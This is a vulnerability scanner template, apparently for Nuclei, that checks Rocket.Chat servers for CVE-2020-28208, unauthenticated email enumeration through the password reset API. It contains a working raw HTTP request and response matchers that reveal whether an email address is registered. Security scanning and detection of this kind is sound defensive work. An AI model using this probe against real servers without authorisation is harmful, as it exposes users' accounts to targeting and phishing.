id: CVE-2020-28208 info: name: RocketChat Unauthenticated Email enumeration author: pdteam severity: medium description: An email address enumeration vulnerability exists in the password reset function of Rocket.Chat through 3.9.1. reference: https://trovent.io/security-advisory-2010-01 tags: cve,cve2020,rockethchat requests: - raw: - | POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} X-Requested-With: XMLHttpRequest Content-Type: application/json User-Agent: Ophion SecurityGroup Accept-Language: en-US,en;q=0.9 {"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"user@local.email\"],\"id\":\"3\"}"} matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '"result\":false' - '"success":true' part: body condition: and